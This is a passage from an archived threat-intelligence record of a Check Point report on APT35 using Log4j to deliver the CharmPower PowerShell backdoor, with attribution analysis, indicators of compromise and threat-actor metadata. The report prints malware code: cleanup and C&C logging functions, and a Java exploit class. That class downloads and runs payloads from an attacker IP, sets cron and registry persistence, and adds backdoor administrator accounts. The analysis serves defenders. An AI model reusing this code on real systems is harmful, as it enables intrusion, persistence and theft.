\"databrowse\r\n}\r\nCleanupModules function attempts to kill any running processes that are related to previously running modules:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nfunction CleanModules {\r\n$ProgramFolder = $env:APPDATA + \"/systemUpdating\"\r\n$files = Get-ChildItem -Path \"$ProgramFolder\" -Recurse | % { $_.FullName }\r\nForeach ($fileName in $files) {\r\n$lastslash = $fileName.LastIndexOf(\"\\\\\") + 1\r\n$PureName = $fileName.Substring($lastslash);\r\ntaskkill /F /IM \"$PureName\"\r\nRemove-Item $ProgramFolder\\\\* -Recurse -Force\r\n}\r\n}\r\nfunction CleanModules { $ProgramFolder = $env:APPDATA + \"/systemUpdating\" $files = Get-ChildItem -Path\r\n\"$ProgramFolder\" -Recurse | % { $_.FullName } Foreach ($fileName in $files) { $lastslash = $fileName.LastIndexOf(\"\\\\\")\r\n+ 1 $PureName = $fileName.Substring($lastslash); taskkill /F /IM \"$PureName\" Remove-Item $ProgramFolder\\\\* -Recurse\r\n-Force } }\r\nfunction CleanModules {\r\n $ProgramFolder = $env:APPDATA + \"/systemUpdating\"\r\n $files = Get-ChildItem -Path \"$ProgramFolder\" -Recurse | % { $_.FullName }\r\n Foreach ($fileName in $files) {\r\n $lastslash = $fileName.LastIndexOf(\"\\\\\") + 1\r\n $PureName = $fileName.Substring($lastslash);\r\n taskkill /F /IM \"$PureName\"\r\n Remove-Item $ProgramFolder\\\\* -Recurse -Force\r\n }\r\n}\r\nAnother function in the module tries to erase additional indicators that might be used by the threat actor:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nfunction CleanPersisRegistryAndFile {\r\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Update\" -Name \"Key\"\r\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Update2\" -Name \"Key\"\r\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name\r\n\"systemUpdating\"\r\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name\r\n\"systemUpdating2\"\r\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" -Name \"systemUpdating\"\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 11 of 18\n\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" -Name\r\n\"systemUpdating2\"\r\nRemove-Item $env:APPDATA/main.ps1\r\nRemove-Item $env:APPDATA/reserve.ps1\r\nRemove-Item $env:APPDATA/ni.txt\r\n}\r\nfunction CleanPersisRegistryAndFile { Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Update\" -Name \"Key\"\r\nRemove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Update2\" -Name \"Key\" Remove-ItemProperty -Path\r\n\"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name \"systemUpdating\" Remove-ItemProperty -\r\nPath \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name \"systemUpdating2\" Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" -Name \"systemUpdating\" Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" -Name \"systemUpdating2\"\r\nRemove-Item $env:APPDATA/main.ps1 Remove-Item $env:APPDATA/reserve.ps1 Remove-Item $env:APPDATA/ni.txt }\r\nfunction CleanPersisRegistryAndFile {\r\n Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Update\" -Name \"Key\"\r\n Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Update2\" -Name \"Key\"\r\n Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name \"systemUpda\r\n Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\" -Name \"systemUpda\r\n Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" -Name \"systemUpdating\r\n Remove-ItemProperty -Path \"HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\" -Name \"systemUpdating\r\n Remove-Item $env:APPDATA/main.ps1\r\n Remove-Item $env:APPDATA/reserve.ps1\r\n Remove-Item $env:APPDATA/ni.txt\r\n}\r\nFrom our examination of this module, it is clear that the threat actors want to keep the infection on the machine for as long\r\nas they deem necessary, and once their goal is achieved, to be able to disappear without a trace.\r\nAttribution\r\nUsually, APT actors make sure to change their tools and infrastructure to avoid being detected and make attribution more\r\ndifficult. APT35, however, does not conform to this behavior. The group is famous in the cybersecurity community for the\r\nnumber of OpSec mistakes in their previous operations, and they tend not to put too much effort into changing their\r\ninfrastructure once exposed. It’s no wonder that their operation as described here has significant overlaps in the code and\r\ninfrastructure with previous APT35 activities.\r\nCode Overlaps\r\nIn October 2021, Google Threat Analysis Group published an article about APT35 mobile malware. Even though the\r\nsamples we analyzed are PowerShell scripts, the similarity of coding style between them and the Android spyware that\r\nGoogle attributed to APT35 immediately grabbed our attention.\r\nFirst, the implementation of the logging functions is the same. The Android app uses the following format for logging\r\nits operations to the C\u0026C server: MAC=\u003cDEVICE_NAME\u003e\u0026Log=\u003cLOG\u003e\u0026ModuleName=\u003cMODULE_NAME\u003e\u0026Status=\u003cSTATUS\u003e\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\npublic static void post_log(String str, String str2, String str3, String str4, String str5) throws MalformedURLException,\r\nUnsupportedEncodingException {\r\nif (haveNetworkConnection()) {\r\nSend_Data_By_Http(Constants.Server_TargetLog, ((((((\"MAC=\" + str) + \"\u0026Log=\") + str2) + \"\u0026ModuleName=\") + str3) +\r\n\"\u0026Status=\") + str4);\r\n}\r\n}\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 12 of 18\n\npublic static void post_log(String str, String str2, String str3, String str4, String str5) throws MalformedURLException,\r\nUnsupportedEncodingException { if (haveNetworkConnection()) { Send_Data_By_Http(Constants.Server_TargetLog,\r\n((((((\"MAC=\" + str) + \"\u0026Log=\") + str2) + \"\u0026ModuleName=\") + str3) + \"\u0026Status=\") + str4); } }\r\npublic static void post_log(String str, String str2, String str3, String str4, String str5) throws MalformedUR\r\n if (haveNetworkConnection()) {\r\n Send_Data_By_Http(Constants.Server_TargetLog, ((((((\"MAC=\" + str) + \"\u0026Log=\") + str2) + \"\u0026Modul\r\n }\r\n}\r\nThe PowerShell modules also contain the same logging format, even though the commands are commented out and replaced\r\nwith another format. The fact that these lines were not removed outright might indicate that the change was done only\r\nrecently.\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nfunction Send_Log($Log, $ModuleName, $status)\r\n{\r\n$http_request = New-Object -ComObject Msxml2.XMLHTTP\r\n#$parameters = \"MAC=VICTIM-PC\" + \"\u0026Log=\" + $Log + \"\u0026ModuleName=\" + $ModuleName + \"\u0026Status=\" + $status\r\n$DataPost = \"VICTIM-PC___;_\" + $ModuleName + \"_;_\" + $Status + \"_;_\" + $Log\r\n$DataPostEnc = Encrypt $DataPost\r\n$parameters = \"Data=\" + $DataPostEnc\r\n$http_request = New-Object -ComObject Msxml2.XMLHTTP\r\n$http_request.open(\"POST\", $TargetLog, $false)\r\n$http_request.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n$http_request.setRequestHeader(\"Content-length\", $parameters.length)\r\n$http_request.send($parameters)\r\n}\r\nfunction Send_Log($Log, $ModuleName, $status) { $http_request = New-Object -ComObject Msxml2.XMLHTTP\r\n#$parameters = \"MAC=VICTIM-PC\" + \"\u0026Log=\" + $Log + \"\u0026ModuleName=\" + $ModuleName + \"\u0026Status=\" + $status\r\n$DataPost = \"VICTIM-PC___;_\" + $ModuleName + \"_;_\" + $Status + \"_;_\" + $Log $DataPostEnc = Encrypt $DataPost\r\n$parameters = \"Data=\" + $DataPostEnc $http_request = New-Object -ComObject Msxml2.XMLHTTP\r\n$http_request.open(\"POST\", $TargetLog, $false) $http_request.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\") $http_request.setRequestHeader(\"Content-length\", $parameters.length) $http_request.send($parameters)\r\n}\r\nfunction Send_Log($Log, $ModuleName, $status)\r\n{\r\n $http_request = New-Object -ComObject Msxml2.XMLHTTP\r\n #$parameters = \"MAC=VICTIM-PC\" + \"\u0026Log=\" + $Log + \"\u0026ModuleName=\" + $ModuleName + \"\u0026Status=\" + $status\r\n $DataPost = \"VICTIM-PC___;_\" + $ModuleName + \"_;_\" + $Status + \"_;_\" + $Log\r\n $DataPostEnc = Encrypt $DataPost\r\n $parameters = \"Data=\" + $DataPostEnc\r\n $http_request = New-Object -ComObject Msxml2.XMLHTTP\r\n $http_request.open(\"POST\", $TargetLog, $false)\r\n $http_request.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\")\r\n $http_request.setRequestHeader(\"Content-length\", $parameters.length)\r\n $http_request.send($parameters)\r\n}\r\nThe syntax of the logging messages is also identical. Here is the Android app code:\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 13 of 18\n\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nFunctions.post_log(Functions.MAC, \"Successfully Finish Monitor Permissions module.\", \"Monitor Permissions\",\r\n\"Success\", Constants.Domain);\r\nFunctions.post_log(Functions.MAC, \"Successfully Finish Monitor Permissions module.\", \"Monitor Permissions\",\r\n\"Success\", Constants.Domain);\r\nFunctions.post_log(Functions.MAC, \"Successfully Finish Monitor Permissions module.\", \"Monitor Permissions\", \"S\r\nAnd here is the example of logging code in the scripts:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nSendLog(\"VICTIM-PC__\", \"Successfully Finish Screen module.\", \"Screen\", \"Success\", TargetLog);\r\nSendLog(\"VICTIM-PC__\", \"Successfully Finish Screen module.\", \"Screen\", \"Success\", TargetLog);\r\nSendLog(\"VICTIM-PC__\", \"Successfully Finish Screen module.\", \"Screen\", \"Success\", TargetLog);\r\nBoth the mobile and the PowerShell versions use the same unique parameter, Stack=Overflow , in the C\u0026C\r\ncommunication:\r\nFigure 2: Use of Stack=Overflow parameter in the mobile malware attributed to APT35.\r\nFigure 3: Use of Stack=Overflow parameter in the PowerShell version.\r\nInfrastructure Overlaps\r\nAccording to our analysis of the Android malware of APT35, the C\u0026C server of the mobile sample has the following API\r\nendpoints:\r\n/Api/Session\r\n/Api/GetPublicIp\r\n/Api/AndroidTargetLog\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 14 of 18\n\n/Api/AndroidDownload\r\n/Api/AndroidBigDownload\r\n/Api/AndroidHttpModuleData\r\n/Api/HttpModuleDataAppend\r\n/Api/IsRunAudioRecorder\r\n/Api/IsRunClipboard\r\n/Api/IsRunGPS\r\nThe C\u0026C of the PowerShell malware has the following API endpoints according to the modules we were able to retrieve:\r\n/Api/Session\r\n/Api/TargetLogEnc\r\n/Api/BigDownloadEnc\r\nBoth C\u0026C servers for the mobile and PowerShell variants share the API endpoint /Api/Sessio n.  The other API endpoints\r\nare similar but not completely identical due to the differences in the functionality and platform.\r\nEven more interesting, additional tests showed that not only are the URLs similar, but the C\u0026C domain of the PowerShell\r\nvariant actually responds to the API requests that are used in the mobile variant.\r\nFigure 4: The C\u0026C from the PowerShell sample responds to the /Api/GetPublicIp API request.\r\nFigure 5: The PowerShell variant C\u0026C response to the /Api/IsRunAudioRecorder API endpoint.\r\nThe rest of the API endpoints responded with a 405 HTTP error, which is a different response from a non-existent URL\r\n( /Api/RANDOM_STRING always responds with 404 HTTP error).\r\nFigure 6: The PowerShell variant C\u0026C response to the /Api/AndroidBigDownload API endpoint.\r\nOur conclusion here is that the C\u0026C of the PowerShell variant supports the same C\u0026C communication protocol as the\r\nmobile variant. Both C\u0026C servers are running a similar server-side code, and are probably operated by the same threat actor.\r\nFurther hunting\r\nWe analyzed the infrastructure of this attack and made a few observations to complete the picture:\r\nAll the servers we observed in this campaign are hosted by OVH SAS and Hetzner Online GmbH. This is not the first\r\ntime APT35 used these hosting providers and, combined with the specific pattern that the C\u0026C domains share(\r\n0\u003cword\u003e\u003cletter\u003e\u003cword\u003e0.xyz ), it provides some leads for further hunting.\r\nWhen we investigated the infrastructure, one of the C\u0026C servers we found responded with modules that use\r\n127.0.0.1 as a C\u0026C server. This is probably a development server, as we didn’t see it in a known infection chain.\r\nThe number of mistakes made in the code of modules also suggests that the PowerShell-based malware is still under\r\nactive development.\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 15 of 18\n\nThe time it takes the C\u0026C server to respond with a module, and the module type it responds with, differs\r\nsignificantly between victims. It could be evidence for a manual operation of the C\u0026C, with the operator deciding\r\nwhich targets are interesting and which ones are not.\r\nMore exploitation attempts\r\nMultiple activities tracked under the name APT35 include operations that vary significantly in scope, targets, and methods.\r\nThere are clusters of operations that heavily rely on advanced spear-phishing techniques for surveillance purposes. On the\r\nother side, last year, we saw evidence that the actors also entered the ransomware scene. Once again adhering to the adage\r\n“don’t put all your eggs in one basket”, the day after the described attack began, a subgroup of APT35 launched another\r\nlarge-scale campaign, specifically targeting Israeli networks. This time, instead of utilizing the open-source Log4j\r\nexploitation server, they made their own implementation of the exploit, but reused the previously exposed infrastructure\r\ndedicated for ransomware operations.\r\nThe partial code of the malicious Java class, with all the indicators consistent with the analysis by Microsoft \u0026 The DFIR\r\nReport, shows that the actors seized the opportunity to combine several attack stages for both Windows and Linux into a\r\nsingle exploit:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\npublic RCE() {\r\nif (File.separator.equals(\"/\")) {\r\nthis.download(\"\u003chttp://148.251.71.182/symantec_linux.x86\u003e\", \"/tmp/lock\");\r\ntry {\r\nRuntime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"chmod +x /tmp/lock ; flock -n /tmp/log.bak /tmp/lock \u0026\" });\r\nRuntime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"(crontab -l \u0026\u0026 echo \\\\\"@reboot flock -n /tmp/log.bak /tmp/lock\r\n\u0026\\\\\") | crontab -\" });\r\nRuntime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"sudo useradd -g -m -s /bin/bash -p $(echo P@ssw0rd1234 |\r\nopenssl passwd -1 -stdin) master\" });\r\n}\r\ncatch (IOException iOException) {\r\niOException.printStackTrace();\r\n}\r\n}\r\nelse {\r\nthis.download(\"\u003chttp://148.251.71.182/symantec.tmp\u003e\", \"c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe;\");\r\nString win_cmd = \"Start-Process c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe;\";\r\nwin_cmd += \"net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user\r\nDefaultAccount P@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop\r\nUsers' /add DefaultAccount; Set-LocalUser -Name DefaultAccount -PasswordNeverExpires 1;\";\r\nwin_cmd += \"New-Itemproperty -path 'HKLM:\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run' -Name\r\n'DllHost' -value 'c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe' -PropertyType 'String' -Force;\";\r\nfinal String[] arrayOfString = { \"powershell\", \"-c Invoke-Command\", \"{\" + win_cmd + \"}\" };\r\ntry {\r\nRuntime.getRuntime().exec(arrayOfString);\r\n}\r\ncatch (IOException iOException2) {\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 16 of 18\n\niOException2.printStackTrace();\r\n}\r\n}\r\npublic RCE() { if (File.separator.equals(\"/\")) { this.download(\"\u003chttp://148.251.71.182/symantec_linux.x86\u003e\", \"/tmp/lock\");\r\ntry { Runtime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"chmod +x /tmp/lock ; flock -n /tmp/log.bak /tmp/lock \u0026\"\r\n}); Runtime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"(crontab -l \u0026\u0026 echo \\\\\"@reboot flock -n /tmp/log.bak\r\n/tmp/lock \u0026\\\\\") | crontab -\" }); Runtime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"sudo useradd -g -m -s /bin/bash -\r\np $(echo P@ssw0rd1234 | openssl passwd -1 -stdin) master\" }); } catch (IOException iOException) {\r\niOException.printStackTrace(); } } else { this.download(\"\u003chttp://148.251.71.182/symantec.tmp\u003e\",\r\n\"c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe;\"); String win_cmd = \"Start-Process c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe;\"; win_cmd +=\r\n\"net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user DefaultAccount\r\nP@ssw0rd12341234; net localgroup Administrators /add DefaultAccount; net localgroup 'Remote Desktop Users' /add\r\nDefaultAccount; Set-LocalUser -Name DefaultAccount -PasswordNeverExpires 1;\"; win_cmd += \"New-Itemproperty -path\r\n'HKLM:\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run' -Name 'DllHost' -value\r\n'c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe' -PropertyType 'String' -Force;\"; final String[] arrayOfString = { \"powershell\", \"-c\r\nInvoke-Command\", \"{\" + win_cmd + \"}\" }; try { Runtime.getRuntime().exec(arrayOfString); } catch (IOException\r\niOException2) { iOException2.printStackTrace(); } }\r\npublic RCE() {\r\n if (File.separator.equals(\"/\")) {\r\n this.download(\"\u003chttp://148.251.71.182/symantec_linux.x86\u003e\", \"/tmp/lock\");\r\n try {\r\n Runtime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"chmod +x /tmp/lock ; flock -n /tmp/log\r\n Runtime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"(crontab -l \u0026\u0026 echo \\\\\"@reboot flock -n\r\n Runtime.getRuntime().exec(new String[] { \"/bin/sh\", \"-c\", \"sudo useradd -g -m -s /bin/bash -p $(ec\r\n }\r\n catch (IOException iOException) {\r\n iOException.printStackTrace();\r\n }\r\n }\r\n else {\r\n this.download(\"\u003chttp://148.251.71.182/symantec.tmp\u003e\", \"c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe;\");\r\n String win_cmd = \"Start-Process c:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dllhost.exe;\";\r\n win_cmd += \"net user /add DefaultAccount P@ssw0rd123412; net user DefaultAccount /active:yes; net user\r\n win_cmd += \"New-Itemproperty -path 'HKLM:\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\r\n final String[] arrayOfString = { \"powershell\", \"-c Invoke-Command\", \"{\" + win_cmd + \"}\" };\r\n try {\r\n Runtime.getRuntime().exec(arrayOfString);\r\n }\r\n catch (IOException iOException2) {\r\n iOException2.printStackTrace();\r\n }\r\n }\r\nConclusion\r\nEvery time there is a new published critical vulnerability, the entire InfoSec community holds its breath until its worst fears\r\ncome true: scenarios of real-world exploitation, especially by state-sponsored actors. As we showed in this article, the wait\r\nincase of Log4j vulnerability was only a few days. The combination of its simplicity, and the widespread number of\r\nvulnerable devices, made this a very attractive vulnerability for actors such as APT35.\r\nIn these attacks, the actors still used the same or similar infrastructure as in many of their previous attacks. However,\r\njudging by their ability to take advantage of the Log4j vulnerability and by the code pieces of the CharmPower backdoor,\r\nthe actors are able to change gears rapidly and actively develop different implementations for each stage of their attacks.\r\nCheck Point’s Infinity platform blocks this attack from the very first step.\r\nIndicators of Compromise\r\n144.217.138[.]155\r\n54.38.49[.]6\r\n148.251.71[.]182\r\n0standavalue0[.]xyz\r\n0storageatools0[.]xyz\r\n0brandaeyes0[.]xyz\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 17 of 18\n\nFile Paths:\r\n%APPDATA%\\\\Ni.txt\r\n%APPDATA%\\\\systemUpdating\\\\Applications.txt\r\n%APPDATA%\\\\systemUpdating\\\\Processes.txt\r\n%APPDATA%\\\\systemUpdating\\\\Information.txt\r\n%APPDATA\\\\systemUpdating\\\\help.jpg\r\n%APPDATA%\\\\systemUpdating\\\\Shell.txt\r\n%APPDATA%\\\\main.ps1\r\n%APPDATA%\\\\reserve.ps1\r\n%APPDATA%\\\\textmanager.ps1\r\n%APPDATA%\\\\docready.bat\r\n%APPDATA%\\\\pdfreader.bat\r\nRegistry Keys:\r\nPath: HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\r\nKey: systemUpdating\r\nPath: HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\r\nKey: systemUpdating2\r\nPath: HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\r\nKey: databrowser\r\nPath: HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\r\nKey: systemUpdating\r\nPath: HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\r\nKey: systemUpdating2\r\nPath: HKCU:\\\\SOFTWARE\\\\Update\r\nKey: Key\r\nPath: HKCU:\\\\SOFTWARE\\\\Update2\r\nKey: Key\r\nSource: https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nhttps://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/\r\nPage 18 of 18",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"MISPGALAXY",
		"MITRE",
		"ETDA"
	],
	"references": [
		"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"
	],
	"report_names": [
		"apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit"
	],
	"threat_actors": [
		{
			"id": "82b92285-4588-48c9-8578-bb39f903cf62",
			"created_at": "2022-10-25T15:50:23.850506Z",
			"updated_at": "2026-04-10T02:00:05.418577Z",
			"deleted_at": null,
			"main_name": "Charming Kitten",
			"aliases": [
				"Charming Kitten"
			],
			"source_name": "MITRE:Charming Kitten",
			"tools": [
				"DownPaper"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "d8af157e-741b-4933-bb4a-b78490951d97",
			"created_at": "2023-01-06T13:46:38.748929Z",
			"updated_at": "2026-04-10T02:00:03.087356Z",
			"deleted_at": null,
			"main_name": "APT35",
			"aliases": [
				"COBALT MIRAGE",
				"Agent Serpens",
				"Newscaster Team",
				"Magic Hound",
				"G0059",
				"Phosphorus",
				"Mint Sandstorm",
				"TunnelVision"
			],
			"source_name": "MISPGALAXY:APT35",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "ae26d287-8ba7-447e-9391-cf13c02d7481",
			"created_at": "2023-03-04T02:01:54.0962Z",
			"updated_at": "2026-04-10T02:00:03.357189Z",
			"deleted_at": null,
			"main_name": "TA453",
			"aliases": [],
			"source_name": "MISPGALAXY:TA453",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "029625d2-9734-44f9-9e10-b894b4f57f08",
			"created_at": "2023-01-06T13:46:38.364105Z",
			"updated_at": "2026-04-10T02:00:02.944092Z",
			"deleted_at": null,
			"main_name": "Charming Kitten",
			"aliases": [
				"iKittens",
				"Group 83",
				"NewsBeef",
				"G0058",
				"CharmingCypress",
				"Mint Sandstorm",
				"Parastoo"
			],
			"source_name": "MISPGALAXY:Charming Kitten",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "e3676dfe-3d40-4b3a-bfbd-4fc1f8c896f4",
			"created_at": "2022-10-25T15:50:23.808974Z",
			"updated_at": "2026-04-10T02:00:05.291959Z",
			"deleted_at": null,
			"main_name": "Magic Hound",
			"aliases": [
				"Magic Hound",
				"TA453",
				"COBALT ILLUSION",
				"Charming Kitten",
				"ITG18",
				"Phosphorus",
				"APT35",
				"Mint Sandstorm"
			],
			"source_name": "MITRE:Magic Hound",
			"tools": [
				"Impacket",
				"CharmPower",
				"FRP",
				"Mimikatz",
				"Systeminfo",
				"ipconfig",
				"netsh",
				"PowerLess",
				"Pupy",
				"DownPaper",
				"PsExec"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "99c7aace-96b1-445b-87e7-d8bdd01d5e03",
			"created_at": "2025-08-07T02:03:24.746965Z",
			"updated_at": "2026-04-10T02:00:03.640335Z",
			"deleted_at": null,
			"main_name": "COBALT ILLUSION",
			"aliases": [
				"APT35 ",
				"APT42 ",
				"Agent Serpens Palo Alto",
				"Charming Kitten ",
				"CharmingCypress ",
				"Educated Manticore Checkpoint",
				"ITG18 ",
				"Magic Hound ",
				"Mint Sandstorm sub-group ",
				"NewsBeef ",
				"Newscaster ",
				"PHOSPHORUS sub-group ",
				"TA453 ",
				"UNC788 ",
				"Yellow Garuda "
			],
			"source_name": "Secureworks:COBALT ILLUSION",
			"tools": [
				"Browser Exploitation Framework (BeEF)",
				"MagicHound Toolset",
				"PupyRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "2bfa2cf4-e4ce-4599-ab28-d644208703d7",
			"created_at": "2025-08-07T02:03:24.764883Z",
			"updated_at": "2026-04-10T02:00:03.611225Z",
			"deleted_at": null,
			"main_name": "COBALT MIRAGE",
			"aliases": [
				"DEV-0270 ",
				"Nemesis Kitten ",
				"PHOSPHORUS ",
				"TunnelVision ",
				"UNC2448 "
			],
			"source_name": "Secureworks:COBALT MIRAGE",
			"tools": [
				"BitLocker",
				"Custom powershell scripts",
				"DiskCryptor",
				"Drokbk",
				"FRPC",
				"Fast Reverse Proxy (FRP)",
				"Impacket wmiexec",
				"Ngrok",
				"Plink",
				"PowerLessCLR",
				"TunnelFish"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "1699fb41-b83f-42ff-a6ec-984ae4a1031f",
			"created_at": "2022-10-25T16:07:23.83826Z",
			"updated_at": "2026-04-10T02:00:04.761303Z",
			"deleted_at": null,
			"main_name": "Magic Hound",
			"aliases": [
				"APT 35",
				"Agent Serpens",
				"Ballistic Bobcat",
				"Charming Kitten",
				"CharmingCypress",
				"Cobalt Illusion",
				"Cobalt Mirage",
				"Educated Manticore",
				"G0058",
				"G0059",
				"Magic Hound",
				"Mint Sandstorm",
				"Operation BadBlood",
				"Operation Sponsoring Access",
				"Operation SpoofedScholars",
				"Operation Thamar Reservoir",
				"Phosphorus",
				"TA453",
				"TEMP.Beanie",
				"Tarh Andishan",
				"Timberworm",
				"TunnelVision",
				"UNC788",
				"Yellow Garuda"
			],
			"source_name": "ETDA:Magic Hound",
			"tools": [
				"7-Zip",
				"AnvilEcho",
				"BASICSTAR",
				"CORRUPT KITTEN",
				"CWoolger",
				"CharmPower",
				"ChromeHistoryView",
				"CommandCam",
				"DistTrack",
				"DownPaper",
				"FRP",
				"Fast Reverse Proxy",
				"FireMalv",
				"Ghambar",
				"GoProxy",
				"GorjolEcho",
				"HYPERSCRAPE",
				"Havij",
				"MPK",
				"MPKBot",
				"Matryoshka",
				"Matryoshka RAT",
				"MediaPl",
				"Mimikatz",
				"MischiefTut",
				"NETWoolger",
				"NOKNOK",
				"PINEFLOWER",
				"POWERSTAR",
				"PowerLess Backdoor",
				"PsList",
				"Pupy",
				"PupyRAT",
				"SNAILPROXY",
				"Shamoon",
				"TDTESS",
				"WinRAR",
				"WoolenLogger",
				"Woolger",
				"pupy",
				"sqlmap"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775615003,
	"ts_updated_at": 1775792040,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c62e02b04a2b3f9387584ba7298dc1a7f40a01f8.pdf",
		"text": "https://archive.orkl.eu/c62e02b04a2b3f9387584ba7298dc1a7f40a01f8.txt",
		"img": "https://archive.orkl.eu/c62e02b04a2b3f9387584ba7298dc1a7f40a01f8.jpg"
	}
}